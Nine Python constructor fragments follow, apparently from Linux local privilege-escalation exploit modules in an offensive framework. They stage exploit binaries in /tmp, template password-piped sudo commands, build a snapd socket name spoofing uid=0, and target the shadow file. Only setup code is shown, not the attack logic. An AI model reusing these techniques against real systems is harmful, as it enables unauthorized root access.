def __init__(self):
LinuxLocalExploit.__init__(self)
self.name = NAME
self.node = None
self.lx = 'exploits/perf_swevent_init/Resources/x' # local path exploit
self.lh = 'exploits/perf_swevent_init/Resources/h' # local path helper
self.remote_exp = '/tmp/x' # remote path exploit
self.remote_helper = '/tmp/h' # remote path helper
def __init__(self):
LinuxLocalExploit.__init__(self)
self.name = NAME
self.node = None
self.local_res = os.path.join(os.path.dirname(__file__), 'Resources')
self.local_exp = os.path.join(self.local_res, 'x')
self.remote_exp = '/tmp/x'
self.remote_helper = '/tmp/h'
def __init__(self):
LinuxLocalExploit.__init__(self)
self.name = NAME
self.node = None
self.local_path = os.path.join(os.path.dirname(__file__), 'Resources')
self.lx = os.path.join(self.local_path, 'x')
self.lh = os.path.join(self.local_path, 'h')
self.dx = '/tmp/x'
self.dh = '/tmp/h'
def __init__(self):
LinuxLocalExploit.__init__(self)
self.name = NAME
self.node = None
self.remote_helper = '/tmp/h'
self.remote_exp = '/tmp/x'
self.su_execute = self.loadPythonExecute()
self.sudo_execute = "printf \"**USER**\\n\" | sudo -S **CMD**"
self.sudo_list = "printf \"**USER**\\n\" | sudo -Sln"
def __init__(self):
LinuxLocalExploit.__init__(self)
self.name = NAME
self.node = None
self.local_res = os.path.join(os.path.dirname(__file__), 'Resources')
self.local_helper = self.local_helper_64
self.local_exp = os.path.join(self.local_res, 'x_64')
self.remote_exp = "/tmp/test.sh"
self.remote_helper = '/tmp/h'
self.remote_tmp_dir = '/tmp/'
def __init__(self):
LinuxLocalExploit.__init__(self)
self.name = NAME
self.node = None
self.local_res = os.path.join(os.path.dirname(__file__), 'Resources')
self.local_exp = os.path.join(self.local_res, 'x')
self.remote_exp = '/tmp/x'
self.remote_helper = '/tmp/h'
self.tmpfilepath = '/tmp/.hf'
self.schedcount = '200'
self.use_local_interface = False
def __init__(self):
LinuxLocalExploit.__init__(self)
self.name = NAME
self.node = None
self.local_res = os.path.join(os.path.dirname(__file__), 'Resources')
self.local_helper = self.local_helper_64
self.local_exp = os.path.join(self.local_res, 'x_')
self.local_migrate_lib = os.path.join(self.local_res, 'ubuntu')
self.local_migrate_tmp = '/tmp/migrate_tmp'
self.remote_exp = '/tmp/x'
self.remote_helper = '/tmp/h'
self.remote_lib = '/tmp/migrate_lib.so'
def __init__(self):
LinuxLocalExploit.__init__(self)
self.name = NAME
self.node = None
self.client_sockname = '/tmp/%s;uid=0' % randomstring(8)
self.server_sockname = '/run/snapd.socket'
self.snapname = randomstring(8).lower()
self.helpername = randomstring(8)
self.snapdata = PAYLOAD['snapdata'] # squash filesystem
self.offset = int(
PAYLOAD['offset']) # offset to encode binary in squash filesystem
self.sizedecode = int(PAYLOAD['sizedecode']) # size of decode binary
self.remote_helper = ''
self.remote_exp = self.client_sockname
def __init__(self):
LinuxLocalExploit.__init__(self)
self.result = ""
self.name = NAME
self.local_path = os.path.dirname(__file__)
self.binary_path = os.path.join(self.local_path, "bin")
self.db_path = os.path.join(self.local_path, "db")
self.fname = DEFAULT_TARGET_SHADOW
self.fsize = DEFAULT_TARGET_SIZE
self.flush_cache = False
self.debug = True
self.sb_addr = 0
self.ino_addr = 0
self.page_addr = 0
self.fcontent = ''
self.targetless = False
#self.db_cache = os.path.join(self.db_path, 'cache' % randint)
if not os.path.exists(self.db_path):
os.makedirs(self.db_path)
return